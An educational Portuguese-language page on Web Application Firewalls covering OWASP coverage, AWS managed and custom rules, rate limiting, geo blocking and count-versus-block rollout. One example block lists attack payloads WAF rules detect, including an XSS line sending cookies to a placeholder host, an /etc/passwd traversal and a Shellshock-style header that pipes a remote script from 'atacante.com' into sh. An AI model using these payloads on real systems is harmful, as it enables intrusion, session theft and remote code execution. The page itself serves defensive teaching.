Home Comunidade Eventos YouTube Networks Desafios // produtos Academy News CTI | CVE Contato

03 - WAF (Web Application Firewall)

#owasp#rate-limiting#seguranca#waf
video explicativo
Video explicativoEspaco reservado para o video desta anotação — adicione video: https://youtu.be/... no frontmatter da nota.

WAF (Web Application Firewall)

Um WAF é um firewall de camada de aplicação que inspeciona requisições HTTP e HTTPS em busca de padrões de ataque, aplicando regras de bloqueio, contagem ou redirecionamento antes que o tráfego alcance a aplicação. Diferente de firewalls de rede, que decidem por endereço e porta, o WAF entende o protocolo HTTP: analisa método, caminho, headers, corpo e parâmetros, cruzando esse conteúdo com assinaturas de exploração conhecidas e com regras de negócio específicas. Em produção, ele é a primeira barreira contra as categorias de ataque do OWASP Top 10 que chegam pela web, como SQL injection, cross-site scripting e exploração de vulnerabilidades conhecidas em frameworks. O valor estratégico do WAF está em comprar tempo: ele não corrige vulnerabilidades do código, mas bloqueia tentativas conhecidas enquanto a correção definitiva é desenvolvida e entregue. Bem configurado, reduz drasticamente o ruído de exploração automatizada; mal configurado, bloqueia clientes legítimos e cria falsa sensação de segurança.

O problema que o WAF resolve

Toda aplicação exposta na internet recebe, desde o primeiro dia, tráfego automatizado de exploração, varredura de diretórios sensíveis, tentativa de credencial e injeção em parâmetros. Corrigir cada vulnerabilidade é obrigatório, mas o ciclo de correção leva dias ou semanas, e o atacante tenta em segundos. O WAF cobre essa lacuna ao filtrar padrões de ataque genéricos de forma centralizada, sem depender de deploy de aplicação, e ao executar políticas de tráfego, como limites de taxa e bloqueio geográfico, que nenhuma aplicação deveria implementar sozinha. Ele também responde a emergências: quando uma CVE crítica é divulgada em um framework popular, o WAF recebe regras de mitigação em horas, comprando tempo para o patch real chegar em produção. A limitação precisa ser entendida: regra de WAF é mitigação genérica, e a ausência de bloqueio não significa que o código está seguro.

Existe ainda o ganho de economia operacional: grande parte do tráfego de robôs e varreduras não tem valor de negócio nenhum, e filtrá-lo na borda economiza requisições, conexões de banco e capacidade de processamento na origem. Em arquiteturas com custo proporcional a requisição, como serverless, essa filtragem prévia aparece diretamente na fatura, o que transforma uma decisão de segurança em decisão financeira mensurável.

OWASP Top 10 e cobertura de regras

O OWASP Top 10 cataloga as categorias de risco mais relevantes para aplicações web, e o WAF cobre diretamente uma parte delas, com destaque para injeção, XSS e falhas de controle de acesso exploradas por payload conhecido. O bloco abaixo mostra exemplos de padrões típicos que regras gerenciadas identificam.

# Exemplos de payloads de ataque que regras de WAF reconhecem

# SQL injection em parâmetro de consulta
GET /produtos?id=1 OR 1=1; SELECT * FROM usuarios --

# Cross-site scripting armazenado via parâmetro de comentário
comentario=<script>document.location='http://malicioso/?c='+document.cookie</script>

# Path traversal na busca de arquivos
GET /download?arquivo=../../etc/passwd

# Exploração de CVE conhecida em framework (exemplo genérico)
GET /cgi-bin/componente.cgi HTTP/1.1
User-Agent: () { :; }; curl http://atacante.com/shell.sh | sh

Cada uma dessas tentativas combina padrões sintáticos, como aspas e comentários de SQL, com padrões semânticos, como anexos de script em campos de texto. Regras modernas usam essa combinação para pontuar anomalias em vez de bloquear qualquer ocorrência isolada, o que reduz o bloqueio indevido de conteúdo legítimo, como um comentário de usuário que menciona SQL em texto.

Aplicação prática: SQL injection e XSS

O fluxo típico de um ataque de SQL injection começa com sondagem silenciosa, como aspas simples e operadores lógicos em parâmetros, observando diferenças de resposta, e evolui para extração de dados por união de consultas ou por inferência booleana. Um WAF com regras de SQLi interrompe a sondagem inicial ao pontuar os padrões de manipulação de sintaxe, e o log de amostragem registra a tentativa completa, incluindo origem e payload, que alimenta tanto o bloqueio de origem quanto a análise de qual endpoint foi alvo. No XSS, o objetivo é injetar script que execute no navegador de outras vítimas, e as regras identificam tags, manipuladores de evento e esquemas de URL perigosos em qualquer campo de entrada. Em ambos os casos, o papel do WAF é idêntico: eliminar o tráfego de exploração genérica e registrar evidência, enquanto o código da aplicação continua responsável por validação, consultas parametrizadas e sanitização de saída, que são as correções definitivas. A combinação das duas camadas é o que funciona; qualquer uma isolada deixa lacunas conhecidas.

Regras gerenciadas e regras customizadas

A base de qualquer WAF produtivo é o conjunto de regras gerenciadas, mantido pelo provedor e atualizado continuamente em resposta a novas CVEs e técnicas de ataque. O AWS WAF oferece grupos como o Core Rule Set e o Known Bad Inputs, que cobrem assinaturas genéricas e inputs malformados, enquanto provedores de borda como Cloudflare mantêm pacotes equivalentes com atualização automática. Sobre essa base, o time escreve regras customizadas que codificam políticas da aplicação: bloquear acesso a caminhos administrativos fora dos IPs do escritório, exigir header customizado em rotas de integração, ou limitar a taxa por endpoint sensível. A divisão de responsabilidades é clara: regra gerenciada protege contra o mundo, regra customizada protege contra riscos específicos do negócio, e ambas devem ser versionadas como código.

A ordem de avaliação das regras é um detalho de desenho que evita conflito: regras de política rígida, como bloqueio de caminho administrativo, costumam ter prioridade maior, seguidas de rate limits, e o grupo gerenciado de assinaturas roda depois, com exceções de escopo declaradas no próprio grupo. Documentar essa ordem no código elimina a dúvida recorrente de por que uma requisição foi bloqueada por uma regra e não pela outra.

{
  "Name": "bloqueio-sql-injection",
  "Priority": 1,
  "Statement": {
    "ManagedRuleGroupStatement": {
      "VendorName": "AWS",
      "Name": "AWSManagedRulesSQLiRuleSet",
      "RuleActionOverrides": [
        {
          "Name": "SQLi_QueryArguments",
          "ActionToUse": { "Block": {} }
        }
      ]
    }
  },
  "OverrideAction": { "None": {} },
  "VisibilityConfig": {
    "CloudWatchMetricsEnabled": true,
    "MetricName": "sqli-bloqueio",
    "SampledRequestsEnabled": true
  }
}

A configuração acima ativa o grupo gerenciado de SQLi com ação de bloqueio explícita, métricas no CloudWatch e amostragem de requisições, que é o material de investigação para bloqueios indevidos.

O investimento em governança vale mais que o volume de regras. Um conjunto enxuto, com dez regras bem compreendidas, block após observação e painel de eficácia, protege mais que um pacote com centenas de regras ativas sem ninguém que entenda o que cada uma faz, porque a resposta a falso positivo depende de conhecer o mecanismo, e não de ter mais assinaturas.

Rate limiting e geo blocking

Além de inspeção de conteúdo, o WAF executa políticas de tráfego que protegem disponibilidade e custo. O rate limiting restringe requisições por identidade, tipicamente endereço IP, token ou valor de header, com janelas de avaliação e penalidade temporária; aplicações de login, recuperação de senha e checkout são candidatas óbvias, pois limitam força bruta e abuse de API sem tocar no código. O geo blocking restringe países de origem com base no IP, útil quando o serviço é regional por requisitos de negócio ou quando um padrão de ataque se concentra em origens onde não existe clientela legítima. As duas técnicas pedem cautela: limites errados bloqueiam escritórios atrás de NAT corporativo e usuários de operadoras com IP compartilhado, por isso a prática é combinar critérios, como taxa por IP com taxa por credencial, e tratar exceções documentadas com listas de permissão.

O design do limite precisa acompanhar o formato do cliente. APIs de aplicação móvel pedem taxa por token de dispositivo, integrações B2B pedem cotas por chave de API com contrato explícito, e navegadores humanos pedem limites generosos combinados com bot management. A granularidade correta é o que diferencia proteção efetiva de bloqueio aleatório de clientes, e cada novo endpoint sensível deve ter seu limite pensado, e não herdado de um valor global.

WAF na borda versus na aplicação

A posição do WAF na arquitetura define o que ele enxerga e o custo de cada camada de inspeção.

Aspecto WAF na borda (CloudFront, CDN) WAF na aplicação (gateway, proxy)
Alcance de inspeção Todo tráfego público, antes da origem Apenas tráfego que chega ao gateway
Proteção de disponibilidade Absorve varredura e ataque antes da origem Ataque já consumiu banda e conexão
Latência adicionada Pequena, na edge Pequena, mas mais perto do processamento
Conhecimento interno Não vê chamadas internas de serviço Pode aplicar regras entre serviços
Custo Por regra e por requisição avaliada Por instância ou licença de proxy
Cenário típico Aplicações públicas em nuvem Rede interna e ambientes híbridos

A configuração mais comum em arquiteturas AWS associa o WAF ao CloudFront, inspecionando todo tráfego de entrada antes que consuma origem, e opcionalmente um segundo ponto de inspeção no API Gateway ou ALB para rotas administrativas. Empilhar múltiplos WAFs em série multiplica custo e risco de falso positivo, e só se justifica com requisito regulatório explícito.

A escolha também afeta quem mantém a camada. WAF na borda tende a ser operado pelo time de plataforma com regras gerenciadas do provedor, enquanto WAF na aplicação aproxima a configuração dos times de produto, que conhecem os contratos de cada API. Essa distribuição de responsabilidade deve estar escrita, porque regra sem dono é a origem mais comum de exceções permanentes.

Modo count versus block

Todo WAF moderno permite rodar cada regra em dois modos: count, que apenas registra a correspondência, e block, que rejeita a requisição. O ciclo de adoção maduro é sempre o mesmo: regra nova entra em count, o time analisa por dias ou semanas os logs de correspondência, identifica falsos positivos com amostragem de requisições, ajusta escopos e exceções, e só então promove para block. Esse ciclo de duas fases é o que separa WAFs que protegem de WAFs que causam incidente: promover regra gerenciada direto para block em uma API com payloads complexos é receita para bloquear clientes legítimos em pleno horário comercial. O modo count também é a forma correta de medir o impacto de endurecer regras existentes, comparando o volume bloqueado com o volume real de erro da aplicação.

Em regras customizadas que codificam política de negócio, o modo count cumpre ainda um papel de descoberta: manter a regra em contagem por um ciclo completo de negócio revela padrões legítimos que ninguém previu, como integrações de parceiro com header diferente do esperado. Só depois dessa validação comportamental a política merece virar bloqueio, com resposta HTTP padronizada e mensagem adequada para quem integra.

Erros comuns

Os deslizes abaixo transformam o WAF em fonte de problema em vez de camada de proteção.

  • Ativar regras gerenciadas em modo block sem período de observação, gerando bloqueio de clientes legítimos com payloads incomuns.
  • Tratar o WAF como correção de vulnerabilidade, adiando o patch do código porque "o WAF bloqueia".
  • Regras customizadas sem dono e sem revisão, acumulando exceções amplas, como bloqueio por IP de 2019, que ninguém mais entende.
  • Rate limit global único, penalizando usuários corporativos atrás de NAT e ignorando endpoints que pedem limites próprios.
  • Falta de amostragem e de logs, tornando impossível distinguir ataque real de falso positivo quando o tráfego cai.
  • Exceção ampla para "resolver urgentemente" um cliente bloqueado, criando brecha permanente sem revisão de prazo.
  • Inspeção uniforme de todos os endpoints, incluindo rotas de alta taxa sem risco, elevando custo de avaliação e latência sem ganho de proteção proporcional.

Boas práticas

As práticas abaixo consolidam uma operação de WAF sustentável e auditável.

  • Trate o WAF como código, com regras versionadas, revisão de mudanças e promoção count antes de block em todos os ambientes.
  • Mantenha a base gerenciada atualizada e o ciclo de CVEs documentado, com responsável definido para avaliar novas regras divulgadas pelo provedor.
  • Construa painéis de eficácia, com taxa de bloqueio por regra, top de origens e correlação entre bloqueios e erros da aplicação.
  • Configure rate limiting por endpoint sensível, com exceções em lista de permissão documentada e expirável, e teste os limites em ambiente de carga.
  • Exercite rotinas de resposta, incluindo o caminho para ativar bloqueio emergencial de exploração nova, medindo o tempo entre decisão e aplicação efetiva.
  • Encaminhe os logs do WAF ao sistema centralizado de logs, unificando investigação de segurança com a mesma ferramenta usada pela operação técnica.
  • Revise o acervo de regras a cada trimestre, removendo exceções expiradas e revalidando a prioridade de cada grupo, como qualquer outro recurso de produção.